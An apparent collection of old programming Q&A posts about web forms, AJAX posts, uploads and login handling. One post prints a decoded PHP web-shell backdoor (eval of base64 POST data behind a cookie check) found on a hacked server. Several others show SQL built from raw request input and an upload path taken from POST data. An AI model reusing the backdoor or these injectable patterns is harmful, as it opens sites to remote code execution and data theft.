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• Javascript XMLHttpRequest Post method

  - by user535617

  Hey So I have a question about posting using an XMLHttpRequest. In theory, if I am to post a username and password to an https domain (which I have yet to get working, unfortunately) would the responseText then change to the next website, or should the text fields become filled in? What normally happens is you navigate to this page via browser, enter a username and password, and it uses a POST method when the submit button is clicked, doing some authentication under the hood and returning a different page. I feel like maybe the responseText should even stay exactly the same (which is what happens now), but I don't know as I have no experience with this kind of thing. this.requests[1].open("POST", "https://" + this.address, true); var query = "target=%2Fcgi-bin%2FStatusConfig.cgi%3FPage%3Dindex&userfile=&username=user&password=pass&log+in=Log+in"; this.requests[1].setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); this.requests[1].setRequestHeader("Content-length", query.length); this.requests[1].setRequestHeader("Keep-Alive", 115); this.requests[1].setRequestHeader("Connection", "keep-alive"); this.requests[1].setRequestHeader("Host", this.address); this.requests[1].send(query); this.requests[1].onreadystatechange = onReadyStateChange1; Then basically onReadyStateChange1 displays the responseText when ready. Any light that could be shed on what SHOULD be happening with the post and responseText would be very appreciated. As would any advice in getting the new, logged into page. For further clarification, what I'm trying to do is log in and then return the new page, because the login page displays only log in information/functionality and the page after logging in has a lot of relevant information. I'm not trying to check the credentials as much as I'm trying to get it (the script) to log in so it can access the next page. Granted, the credentials will have to be valid for that. Thanks all.

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• function returns after an XMLHttpRequest

  - by ashays

  Alright, I know questions like this have probably been asked dozens of times, but I can't seem to find a working solution for my project. Recently, while using jQuery for a lot of AJAX calls, I've found myself in a form of callback hell. Whether or not jQuery is too powerful for this project is beyond the scope of this question. So basically here's some code that shows what's going on: function check_form(table) { var file = "/models/"+table+".json"; var errs = {}; var xhr = $.getJSON(file, function(json) { for (key in json) { var k = key; var r = json[k]; $.extend(errs, check_item("#"+k,r)); } }); return errs; } And... as you can probably guess, I get an empty object returned. My original idea was to use some sort of onReadyStateChange idea that would return whenever the readyState had finally hit 4. This causes my application to hang indefinitely, though. I need these errors to decide whether or not the form is allowed to submit or not (as well as to tell the user where the errors are in the application. Any ideas? Edit. It's not the prettiest solution, but I've managed to get it to work. Basically, check_form has the json passed to it from another function, instead of loading it. I was already loading it there, too, so it's probably best that I don't continue to load the same file over and over again anyways. I was just worried about overloading memory. These files aren't absolutely huge, though, so I guess it's probably okay.

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• [AS3] Calling Php Script with UTF-8 POST variables

  - by kornelijepetak

  AS3 documentation says that Strings in AS3 are in UTF-16 format. There is a textbox on a Flash Clip where user can type some data. When a button is clicked, I want this data to be sent to a php script. I have everything set up, but it seems that the PHP script gets the data in UTF-16 format. The data in the database (which is utf-8) shows some unrecognizable characters (where special characters are used), meaning that the data has not been sent in a correct encoding. var variables:URLVariables=new URLVariables; var varSend:URLRequest=new URLRequest("http://website.com/systematic/accept.php"); varSend.method=URLRequestMethod.POST; varSend.data=variables; var varLoader:URLLoader=new URLLoader; varLoader.dataFormat=URLLoaderDataFormat.VARIABLES; varLoader.addEventListener(Event.COMPLETE, completeHandler); When submit button is clicked, the following handler gets executed. function sendData(event:MouseEvent) : void { // i guess here is the problem (tbName.text is UTF-16) variables.name = tbName.text; varLoader.load(varSend); } Is there any way to send the data so that PHP script gets the data in UTF-8 format? (PHP script is retrieving the value using the $_POST['name']).

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• Keeping cached browser data inside ASP update panel textboxes/dropdowns for browser back click

  - by pmlevere

  I'm new in VB.net/asp and am running a VB web application in a visual database program called IronSpeed designer. I'm primarily using IronSpeed in this case for its login/role security features. I have a basic two page setup for this app. The user logs in then is taken to AccountEntry.aspx, they enter data into textboxes and select some dropdown values that are linked to a sql database, then they click "submit" to move to Results.aspx. On Results.aspx, the user can change data and then generate several types of reports (PDF, Excel, etc). I'm used to setting up ASP controls inside ASPContent areas, and in these areas if a user performs a browser back click the previously entered data will still be on the page for potential user modification. However in this web app, IronSpeed is setting up the page and asp controls inside an asp update panel. It appears inside an asp update panel, cached values can't be seen on a browser back click. In this case, it's important that the orginally entered values still be there for the user experience if the user advances to Results.aspx then clicks browser back to modify a value on AccountEntry.aspx. If I have to I'll setup Session Variables and disable browser clicking, but that is last resort. Is there any way to save cached data inside an asp update panel and have it there for a browser back click?

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• PHP - upload.class image and $_FILES

  - by Ockonal

  Hello, I'm using class.upload.php to upload pictures onto the server. Here is my form: <form action="<?="http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];?>" method="post" enctype="multipart/form-data"> <table style="width: 100%; padding-top: 20px;"> <tr> <td>Image file:</td> <td><input type="file" name="image_file" /></td> </tr> <tr> <td>&nbsp;</td> <td align="right"><input type="submit" name="add_new" value="Add image" /><td></td> </tr> </table> </form> In php code I do: if( array_key_exists('add_new', $_POST) ) { echo 'add new is in array'; echo '<pre>'; print_r($_POST); print_r($_FILES); echo '</pre>'; $handle = new Upload($_FILES['image_file']); ... } Here is an output of print_r: Array ( [image_file] => somefile.png [add_new] => Add image ) Array ( ) As you can see second array is empty ($_FILES), so image doesn't upload. Why? operating system : Linux PHP version : 5.2.12 GD version : 2.0.34 supported image types : png jpg gif bmp open_basedir : /home/httpd/vhosts/kz-gbi.ru/httpdocs:/tmp

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• I am unable to upload file to my local host folder in php.

  - by Nauman khan

  Hi, I have the follwing code <form enctype="multipart/form-data" action="upload.php" method="POST"> Please choose a file: <input name="uploaded" type="file" /><br /> <input type="submit" value="Upload" /> </form> <?php $target = "upload/"; $target = $target . basename( $_FILES['uploaded']['name']) ; $ok=1; if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) { echo "The file ". basename( $_FILES['uploadedfile']['name']). " has been uploaded"; } else { echo "Sorry, there was a problem uploading your file."; } ?> my page is in http://localhost/nausal/upload.php now I am having the follwing error though i have created a folder in site with name upload. Notice: Undefined index: uploaded in C:\wamp\www\Nausal\upload.php on line 15 Notice: Undefined index: uploaded in C:\wamp\www\Nausal\upload.php on line 17 Sorry, there was a problem uploading your file. Please help me I am very new to php. :(

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• How to use the textbox value to fetch the records and to display it in the same page

  - by Aruna

  Hi, i am having a Form like <script language="javascript" type="text/javascript"> function formfn() { var str = document.getElementById('TitleSearch').value; alert(str);//displays the keyword like database } </script> <form name="f1" method="post"> <p><label for="TitleSearch">Keywords:</label> <input title="Keyword" size="40" value="" id="TitleSearch"></p> <p> <input type="submit" id="im-search" value="Search" name="im-search" onClick="formfn();"></p> </form> I am having a page where in the top i have this form on search it has to take the value of the textbox TitleSearch and to use this to retrieve the records matching by <?php $db =& JFactory::getDBO(); $query = 'SELECT * from #__chronoforms_Publications where keyword like "%valueretrieved%" '; $db->setQuery($query); $rows = $db->loadObjectList(); //echo $rows; ?> Once the search button is clicked the text box value of the keyword is retrieved . I am trying to use this value in the select query to fetch the records and to display in the same page.. How to do so..

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• Event type property lost in IE-8

  - by Channel72

  I've noticed a strange Javascript error which only seems to happen on Internet Explorer 8. Basically, on IE-8 if you have an event handler function which captures the event object in a closure, the event "type" property seems to become invalidated from within the closure. Here's a simple code snippet which reproduces the error: <html> <head> <script type = "text/javascript"> function handleClickEvent(ev) { ev = (ev || window.event); alert(ev.type); window.setTimeout(function() { alert(ev.type); // Causes error on IE-8 }, 20); } function foo() { var query = document.getElementById("query"); query.onclick = handleClickEvent; } </script> </head> <body> <input id = "query" type = "submit"> <script type = "text/javascript"> foo(); </script> </body> </html> So basically, what happens here is that within the handleClickEvent function, we have the event object ev. We call alert(ev.type) and we see the event type is "click". So far, so good. But then when we capture the event object in a closure, and then call alert(ev.type) again from within the closure, now all of a sudden Internet Explorer 8 errors, saying "Member not found" because of the expression ev.type. It seems as though the type property of the event object is mysteriously gone after we capture the event object in a closure. I tested this code snippet on Firefox, Safari and Chrome, and none of them report an error condition. But in IE-8, the event object seems to become somehow invalidated after it's captured in the closure. Question: Why is this happening in IE-8, and is there any workaround?

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• Cross domain ajax POST ie7 with jquery

  - by DickieBoy

  been having trouble with this script, ive managed to get it working in ie8, works on chrome fine. initilize: function(){ $('#my_form').submit(function(){ if ($.browser.msie && window.XDomainRequest) { var data = $('#my_form').serialize(); xdr=new XDomainRequest(); function after_xhr_load() { response = $.parseJSON(xdr.responseText); if(response.number =="incorrect format"){ $('#errors').html('error'); } else { $('#errors').html('worked'); } } xdr.onload = after_xhr_load; xdr.open("POST",$('#my_form').attr('action')+".json"); xdr.send(data); } else { $.ajax({ type: "POST", url: $('#my_form').attr('action')+".json", data: $('#my_form').serialize(), dataType: "json", complete: function(data) { if(data.statusText =="OK"){ $('#errors').html('error'); } if(data.statusText =="Created"){ response = $.parseJSON(data.responseText); $('#errors').html('Here is your code:' +response.code); } } }); } return false; }); } I understand that ie7 does not have the XDomainRequest() object. How can I replicate this in ie7. Thanks, in advance

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• PHP hack files found - help decoding and identifying

  - by akc

  I found a handful of hack files on our web server. I managed to de-obfuscate them a bit -- they all seem to have a part that decodes into a chunk that looks like: if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) {echo '<textarea rows=28 cols=80>'; $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) @eval($d); echo '</textarea>';}echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';exit;} But this chunk (decoded above) is usually embedded into a larger code snippet. I've shared the code of one of the files in its entirety here: http://pastie.org/3753704 I can sort of see where this code is going, but definitely not an expert at PHP and could use some help figuring out more specifically what it's doing or enabling. Also, if anyone happens to be familiar with this hack, any information on how it works, and where the backdoor and other components of the hack may be hidden would be super helpful and greatly appreciated. I tried to Google parts of the code, to see if others have reported it, but only came up with this link: http://www.daniweb.com/web-development/php/threads/365059/hacked-joomla Thanks!

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• HTML: Nesting DIVs problem

  - by mawg

  I am coding a form generator. So far, so good, then I decided to give it a real test. I made a form with some nested each holding a few controls. I will post the HTML at the end. If you load it into a browser, it renders, but is obviously wrong. I had previously tested using the W3C validator and things were fine, but that was for non nested. When I validate a form with nested I get errors: Error Line 13, Column 117: document type does not allow element "DIV" here …style="position: absolute; top:88px; left: 256px; width: 145px; height: 21px;"> So, how do I correct that? What do I do with nested FIELDSETs? Here's the complete HTML <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title></title> <meta http-equiv="Content-type" content="text/html;charset=UTF-8"> </head> <body> <form action="C:\temp\an_elogger_test.php" method="get"><div class="TGroupBox" id="GroupBox1"> <fieldset style="position: absolute; top:24px; left:24px; width: 449px; height: 473px;"> <legend>GroupBox1</legend> <div class="TPanel" id="Panel1"> <fieldset style="position: absolute; top:64px; left:64px; width: 361px; height: 217px;"> <div class="TComboBox" id="ComboBox1" style="position: absolute; top:88px; left: 256px; width: 145px; height: 21px;"> <select name="ComboBox1"> </select> </div> <div class="TGroupBox" id="GroupBox2"> <fieldset style="position: absolute; top:80px; left:88px; width: 145px; height: 177px;"> <legend>GroupBox2</legend> <div class="TCheckBox" id="CheckBox1" style="position: absolute; top:112px; left: 104px; width: 97px; height: 17px;">CheckBox1<input type="checkbox" name="CheckBox1" value="CheckBox1Checked"></div> <div class="TCheckBox" id="CheckBox2" style="position: absolute; top:152px; left: 112px; width: 97px; height: 17px;">CheckBox2<input type="checkbox" name="CheckBox2" value="CheckBox2Checked"checked="checked"></div> </fieldset> </div> <div class="TRadioGroup" id="RadioGroup2"> <fieldset style="position: absolute; top:128px; left: 264px; width: 145px; height: 137px;"><legend>RadioGroup2</legend> eins: <input type="radio" name="RadioGroup2" value="eins" checked><br> zwei: <input type="radio" name="RadioGroup2" value="zwei"><br> drei: <input type="radio" name="RadioGroup2" value="drei"><br> </fieldset> </div> </fieldset> </div> <div class="TMemo" id="Memo1"><textarea name="Memo1" rows="8" cols="13" style="position: absolute; top:320px; left: 88px; width: 185px; height: 89px;"> </textarea> </div> <div class="TComboBox" id="ComboBox2" style="position: absolute; top:328px; left: 296px; width: 145px; height: 21px;"> <select name="ComboBox2"> <option value="a">a</option> <option value="b">b</option> <option value="c">c</option> <option value="d" selected="selected">d</option> <option value="e">e</option> </select> </div> </fieldset> </div> <div class="TPanel" id="Panel2"> <fieldset style="position: absolute; top:32px; left:520px; width: 425px; height: 449px;"> <div class="TPanel" id="Panel3"> <fieldset style="position: absolute; top:64px; left:552px; width: 345px; height: 185px;"> <div class="TMemo" id="Memo2"><textarea name="Memo2" rows="8" cols="13" style="position: absolute; top:88px; left: 584px; width: 185px; height: 89px;"> You may wish to leave this memo emptyOr perpahaps give instructions aboout what should be written here</textarea> </div> <div class="TEdit" id="Edit1" style="position: absolute; top:200px; left: 600px; width: 121px; height: 21px;"><input type="text" name="Edit1"value="Insert text here"></div> </fieldset> </div> <div class="TGroupBox" id="GroupBox3"> <fieldset style="position: absolute; top:272px; left:552px; width: 345px; height: 185px;"> <legend>GroupBox3</legend> <div class="TPanel" id="Panel4"> <fieldset style="position: absolute; top:304px; left:584px; width: 177px; height: 137px;"> <div class="TRadioGroup" id="RadioGroup1"> <fieldset style="position: absolute; top:312px; left: 600px; width: 97px; height: 105px;"><legend>RadioGroup1</legend> one: <input type="radio" name="RadioGroup1" value="one"><br> two: <input type="radio" name="RadioGroup1" value="two" checked><br> three: <input type="radio" name="RadioGroup1" value="three"><br> </fieldset> </div> </fieldset> </div> <div class="TEdit" id="Edit2" style="position: absolute; top:320px; left: 776px; width: 105px; height: 21px;"><input type="text" name="Edit2"></div> </fieldset> </div> </fieldset> </div> <div align="center" style="margin: auto"><input type="submit" name="submitButton" value="Submit" style="position:absolute;top:522px;"></div> </form> </body> </html>

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• Problem in getting response from server in jquery

  - by Alvin

  Hello, I'm using $.ajax(options) method to pass the request to server based on username and password, but whenever I try to print the response by XMLHttpRequest object when response gets successful, I'm getting an empty value. $(document).ready(function(){ $("#form").submit(function(){ $.ajax({url:"Chat.jsp",type:"POST",data:$("#form").serialize(),success:function(request) { alert(request.responseText); //This is displaying nothing },error:function(){document.write("YOU can't");}}); }); }); This is what I'm doing in my servlets code after executing query: try { String user = request.getParameter("j_username"); String password = request.getParameter("j_password"); if(user != null && password != null) { String query = "Select * from users where user_name="+"\'"+user+"\'"+"&& user_pass="+"\""+password+"\""; DBCheck db= new DBCheck(); boolean b = db.doExecuteQuery(con.createStatement(),query); response.setHeader("Cache-Control", "no-cache"); if(b) { response.getWriter().println("Username already exits"); } else { response.getWriter().println("Username doesn't exit"); } } } catch(SQLException ex) { ex.printStackTrace(); } } May I know the problem, and how can I fix it?

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• Insert Stored Procedure does not Create Database Record

  - by SidC

  Hello All, I have the following stored procedure: ALTER PROCEDURE Pro_members_Insert @id int outPut, @LoginName nvarchar(50), @Password nvarchar(15), @FirstName nvarchar(100), @LastName nvarchar(100), @signupDate smalldatetime, @Company nvarchar(100), @Phone nvarchar(50), @Email nvarchar(150), @Address nvarchar(255), @PostalCode nvarchar(10), @State_Province nvarchar(100), @City nvarchar(50), @countryCode nvarchar(4), @active bit, @activationCode nvarchar(50) AS declare @usName as varchar(50) set @usName='' select @usName=isnull(LoginName,'') from members where LoginName=@LoginName if @usName <> '' begin set @ID=-3 RAISERROR('User Already exist.', 16, 1) return end set @usName='' select @usName=isnull(email,'') from members where Email=@Email if @usName <> '' begin set @ID=-4 RAISERROR('Email Already exist.', 16, 1) return end declare @MemID as int select @memID=isnull(max(ID),0)+1 from members INSERT INTO members ( id, LoginName, Password, FirstName, LastName, signupDate, Company, Phone, Email, Address, PostalCode, State_Province, City, countryCode, active,activationCode) VALUES ( @Memid, @LoginName, @Password, @FirstName, @LastName, @signupDate, @Company, @Phone, @Email, @Address, @PostalCode, @State_Province, @City, @countryCode, @active,@activationCode) if @@error <> 0 set @ID=-1 else set @id=@memID Note that I've "inherited" this sproc and the database. I am trying to insert a new record from my signup.aspx page. My SQLDataSource is as follows: <asp:SqlDataSource runat="server" ID="dsAddMember" ConnectionString="rmsdbuser" InsertCommandType="StoredProcedure" InsertCommand="Pro_members_Insert" ProviderName="System.Data.SqlClient"> The click handler for btnSave is as follows: Protected Sub btnSave_Click(ByVal sender As Object, ByVal e As EventArgs) Handles btnSave.Click Try dsAddMember.DataBind() Catch ex As Exception End Try End Sub When I run this page, signup.aspx, provide required fields and click submit, the page simply reloads and the database table does not reflect the newly-inserted record. Questions: 1. How do I catch the error messages that might be returned from the sproc? 2. Please advise how to change signup.aspx so that the insert occurs. Thanks, Sid

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• Safari Web Inspector is not updating when I update an element with ajax

  - by Ashley

  I have a checkout page http://www.oipolloi.com/oipolloi/shop/viewbasket.php with multiple ajax calls after certain items update (EG look up postage cost when country is changed, then update discount boxes etc). I've asked for help in the past about the best method of making sure ALL calls have returned before allowing the form to be submitted for payment processing: http://stackoverflow.com/questions/2290372/how-do-i-prevent-form-submission-until-multiple-ajax-calls-have-finished-jquery I was fairly happy that the logic in the finished solution was correct, but I have still been receiving reports that people using Safari are able to submit the form without the ajax calls returning properly. I have tried using the Safari Web Inspector to debug but it seems that when you Inspect Element, then update an element with an ajax call, the Inspector doesn't seem to update. I am updating hidden fields, so it's hard to be able to know whether the problem lies with the DOM not being updated properly, or the Inspector itself. I'm using Safari 4.0.5 on PC and you can reproduce the problem above by looking for a div id="countryFieldsBilling" with Web Inspector. It should contain three hidden fields that are initially empty. You can try to make it update (or not) by choosing a country from the select menu at the bottom of 'Shipping Address' box, and then clicking the 'click to use Shipping Address' link at the top of the 'Billing Address' just below. The behaviour I am seeing is that the country chosen in the shipping select gets copied correctly to the country in the billing select, but the hidden inputs in the Web Inspector do not get updated. When these hidden inputs do not get updated, this causes the problem that Mac Safari users report. If you can let me know either how to get Web Inspector to work properly, or something else I may have missed in the behaviour of Mac Safari that may cause these problems, that would be great. Thanks in advance

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• MVC Html.ActionLink with post funtionality?

  - by Levitikon

  I'm checking to see if anyone has written an MVC extension for Html.ActionLink that you can pass in Post parameters like such: <% Html.ActionLink("Click me", "Index", "Home", new { MyRouteValue = "123" }, null, new { postParam1 = "a", postParam2 = "b" }); %> That would render the link like normal but having an onClick event that submits an also rendered form with an Action url for the Action, Controller, and Route Values with additional hidden inputs from the Post Parameters like such: <a href="#" onClick="$('#theform').submit(); return false;">Click me</a> <form id="theform" action="/Home/Index/123" method="post"> <input type="hidden" name="postParam1" value="a"> <input type="hidden" name="postParam2" value="b"> </form> I'm looking to redirect users to various pages with potentially a lot of data. Not only from page to page, but from email to page also. This would be highly reusable and I think would clean up a lot of code, and would save a bunch of time writing this if its already floating around out there. I hate recreating the wheel when I don't have to. Thanks!

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• Cakephp Search Plugin: DateTime Range

  - by Chris

  I am trying to search a model by dates using the CakePHP Search plugin The idea is: The user enters a date of a flight and the engine returns all flights within +- one day of that. My form: <?php echo $form->create('Flight', array( 'url' => array_merge(array('action' => 'find'), $this->params['pass']) )); echo $form->input('departure', array('div' => false, 'dateFormat' => 'DMY','timeFormat' => 'NONE')); echo $form->submit(__('Search', true), array('div' => false)); echo $form->end(); ?> My flight model: public $filterArgs = array( array('name' => 'departure', 'type' => 'expression', 'method' => 'makeRangeCondition', 'field' => 'ABS((TO_Days(Flight.departure))-( TO_Days(?))) < 2') ); The controller: public $presetVars = array( array('field' => 'departure', 'type' => 'expression') ); public function find() { $this->Prg->commonProcess(); $this->paginate['conditions'] = $this->Flight->parseCriteria($this->passedArgs); $this->set('flights', $this->paginate()); } When I try to search, the values for departure are packed in an array; Array ([departure] => Array ) And the filterArgs(...) function doesn't seem to understand this. What is the correct way to do this?

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• confirm alert not working ....

  - by user318068

  I want the work of the Control Panel in my site for members ... I designed the page is displayed all the registered members on my site And i but it checkbox front each member name ,becuase it allowed to select multiple name then click delete button The following code works but now i want confirm alert before delete code working even , if clicked on ok the deletion is working , and if clicked on cancel the is not working .. how i can work it ?? while($row = mysql_fetch_array($sql1)) { ?> <tr> <td align="center" bgcolor="#FFFFFF"><input name="checkbox[]" type="checkbox" id="checkbox[]" value="<?php echo $row['MemberID']; ?>"></td> <td bgcolor="#FFFFFF"><?php echo $row['MemberName']; ; ?></td></tr> <?php } ?> <tr> <td colspan="5" align="center" bgcolor="#FFFFFF"><input name="delete" type="submit" id="delete" value="delete" onclick="javascript:return confirm('are you sure to delete this record???? ')"/></td> </tr> <?php $delete = $_REQUEST['delete']; $checkbox = $_REQUEST['checkbox']; $count = count($_REQUEST['checkbox']); // Check if delete button active, start this if($delete){ echo "<script language=\"Javascript\">\n"; for($i=0;$i<$count;$i++){ $del_id = $checkbox[$i]; $sql = "Delete FROM members where MemberID ='$del_id'"; $sq2 = "Delete FROM joinroom where MemberID ='$del_id'"; $result1 = mysql_query($sql); $result2 = mysql_query($sq2); echo "else {\n"; echo "alert ('Nothing deleted');\n }"; echo "</script>"; } } Thanks a lot.........

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• Saving temporary file name after uploading file with uplodify

  - by mIRU

  I have this script if (!empty($_FILES)) { $tempFile = $_FILES['Filedata']['tmp_name']; $targetPath = dirname(__FILE__).$_POST['folder'] . '/'; $pathinfoFile = pathinfo($_FILES['Filedata']['name']); $targetFile = str_replace('//','/',$targetPath) .uniqid().'.'.$pathinfoFile['extension']; move_uploaded_file($tempFile,$targetFile); } this script is from uplodify , modified for saving the file with unique name , i need after user will upload the file , this unique name and original name , to save temporary , when user will submit the form , this temporary variables i will insert in database , the problem is that in firebug console , i can not see all the actions of this script , and i can not understand the way how to fix it, I tried to save in $_SESSION but i have problems , is not saving , i found why is not working with $_SESSION , http://uploadify.com/forum/viewtopic.php?f=5&t=43 , i tried the solution from forum but without result , exist a more easy way to solve this problem ? , or what is better way to do it ? . Sorry for so silly question , i ran out of ideas . Thanks a lot for helping me , and sorry again for my English

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• Cookie blocked/not saved in IFRAME in Internet Explorer

  - by Piskvor

  I have two websites, let's say they're example.com and anotherexample.net. On anotherexample.net/page.html, I have an IFRAME SRC="http://example.com/someform.asp". That IFRAME displays a form for the user to fill out and submit to http://example.com/process.asp. When I open the form ("someform.asp") in its own browser window, all works well. However, when I load someform.asp as an IFRAME in IE 6 or IE 7, the cookies for example.com are not saved. In Firefox this problem doesn't appear. For testing purposes, I've created a similar setup on http://newmoon.wz.cz/test/page.php . example.com uses cookie-based sessions (and there's nothing I can do about that), so without cookies, process.asp won't execute. How do I force IE to save those cookies? Results of sniffing the HTTP traffic: on GET /someform.asp response, there's a valid per-session Set-Cookie header (e.g. Set-Cookie: ASPKSJIUIUGF=JKHJUHVGFYTTYFY), but on POST /process.asp request, there is no Cookie header at all. Edit3: some AJAX+serverside scripting is apparently capable to sidestep the problem, but that looks very much like a bug, plus it opens a whole new set of security holes. I don't want my applications to use a combination of bug+security hole just because it's easy. Edit: the P3P policy was the root cause, full explanation below.

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• Android app crashes on Async Task

  - by Telmo Vaz

  why is my APP crashing when I invoke the AsyncTask? public class Login extends Activity { String mail; EditText mailIn; Button btSubmit; @Override protected void onCreate(Bundle tokenArg) { super.onCreate(tokenArg); setContentView(R.layout.login); mailIn = (EditText)findViewById(R.id.usermail); btSubmit = (Button)findViewById(R.id.submit); btSubmit.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View thisView) { new LoginProc().execute(); } }); } public class LoginProc extends AsyncTask<String, Void, Void> { @Override protected void onPreExecute() { mailIn = (EditText)findViewById(R.id.usermail); mail = mailIn.getText().toString(); super.onPreExecute(); } @Override protected Void doInBackground(String... params) { Toast.makeText(getApplicationContext(), mail, Toast.LENGTH_SHORT).show(); return null; } } } I'm trying to make the String name get it's value on the preExecute method, but it happens that the app crashes on that point. Even if I take the preExecute and do that on the doInBrackground, it still crashes. What's wrong?

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• JQuery Tabbed Nav Menu and PHP Forms Question?

  - by SlAcKeR

  I'm using a JQuery Tabbed Menu which holds different types of forms and when I select a different form located under a different tab and submit the form the tab will jump to the default tab instead of the current tab the form is located in. I was wondering how would I go about fixing this so that when the form is submitted the current tab is still selected, is it the JQuery or PHP problem? Here is the JQuery. $(document).ready(function() { //When page loads... $(".form-content").hide(); //Hide all content var firstMenu = $("#home-menu ul li:first"); firstMenu.show(); firstMenu.find("a").addClass("selected-link"); //Activate first tab $(".form-content:first").show(); //Show first tab content //On Click Event $("#home-menu ul li").click(function() { $("#home-menu ul li a").removeClass("selected-link"); //Remove any "selected-link" class $(this).find("a").addClass("selected-link"); //Add "selected-link" class to selected tab $(".form-content").hide(); //Hide all tab content var activeTab = $(this).find("a").attr("href"); //Find the href attribute value to identify the selected-link tab + content $(activeTab).fadeIn(); //Fade in the selected-link ID content return false; }); });

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• Creating new table entry when updating another entry of another table - Ruby on Rails

  - by Michaël

  Hi, I have written this code in my "show" view of estimates and I want that, when submitting (update), it creates a new repairs (Repair.new(???)) with some parameters. I don't know where to write the "new repairs" code, in this view or the controller (in update part). I need that the Repair is created one time, not each time the @estimate is updated. <% form_for @estimate, :url => {:controller => "estimates", :action => "update"} do |f| %> <%= f.error_messages %> <select id="estimate_accept" name="estimate[accept]"> <option value="1" selected="selected">accept</option> <option value="2">refuse</option> </select> <%= f.submit "Update" %> <% end %> Thank you for your help, I hope my explanations are clear!

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• jQuery Validate PHP Response

  - by Kurt

  Hello Everybody, my problem is, I want to validate an email adresse with jquery. Not only the syntax but rather if the email is already registrated. There are some tutorials but they are not working! At first the Jquery Code: <script id="demo" type="text/javascript"> $(document).ready(function() { // validate signup form on keyup and submit var validator = $("form#signupform").validate({ rules: { Vorname: { required: true, minlength: 3 }, Nachname:{ required: true, minlength: 4 }, password: { required: true, minlength: 5 }, password_confirm: { required: true, minlength: 5, equalTo: "#password" }, Email: { required: true, email: true, type: "POST", remote: "remotemail.php" }, dateformat: "required", ... </script> And now the PHP Code: <?php include('dbsettings.php'); $conn = mysql_connect($dbhost,$dbuser,$dbpw); mysql_select_db($dbdb,$conn); $auslesen1 = "SELECT Email FROM flo_user"; $auslesen2 = mysql_query($auslesen1,$conn); $registered_email = mysql_fetch_assoc($auslesen2); $requested_email = $_POST['Email']; if( in_array($requested_email, $registered_email) ){ echo "false"; } else{ echo "true"; } ?> I tried return TRUE/ return FALSE as well, but this displays "Email is registrated" all the time. json_encode didn't work as well. Thanks a lot!

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• Creating DOM elements on the fly - check if the data is not harmful

  - by user313353

  I already posted a question closely related to the this one. I watched the Mix10 video with P. Haacked and S. Hanselman. I am building an AJAX-powered site whose input forms are created on the fly. All the code to accomplish this is done within a script tag or a javascript file. For example the following DOM elements are created when the page loads and are wrapped into an existing div defined in a view: $('#myform').append('); $('#myform').append(''); When I click the submit button I need to get the values of the input form whose id is 'Name': $("#Name").val() and then I return a Json object: { Name: name }; For this kind of scenario there is no way to use Html.Encode() or AntiXss.HtmlEncode() on the client-side. The only way to check if the input is not harmful is done on the server-side (via a service layer). This seems a limitation. All is fine if and only if a view has a set of predefined inputs. When it is time to create them on the fly, the situation is different. Have you thought of that situation guys? Thanks for the attention you have put on this. Roland Brussels, Belgium

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• SSL + Jquery + Ajax

  - by chobo2

  Hi I starting too look at a bit of security into my site. My site I would consider a very low security risk as it has really no personal information from the user other than email. However the security risk will go up a bit as I am partnering with a company and the initial password for this companies users will be the same password they use essentially to get onto the network and every piece of software. So I have up my security( what is fine by me...I wanted to get around to this anyways). So one of my security concerns is this. A user logs in. form submit(non ajax is done). Password is hashed & Salted and compared to one in the database. Reject or let them proceed. So this uses no jquery or ajax but is just asp.net mvc and C#. Still if my understanding is right the password is sent in clear text. So if a use SSL and I would not need to worry about that is this correct? If that is true is that all I need? Second the user can change their password at anytime. This is done through ajax. So when the password is sent it is sent in clear text( and I can verify this by looking at firebug). So if I have SSL enabled on this page is that all I need or do I need to do more? So I am just kinda confused of what I need to make the password being sent to the server(both ajax and full post ways secure). I am not sure if I need to do more then SSL or if that is enough and if it is not enough what is the next layer of security?

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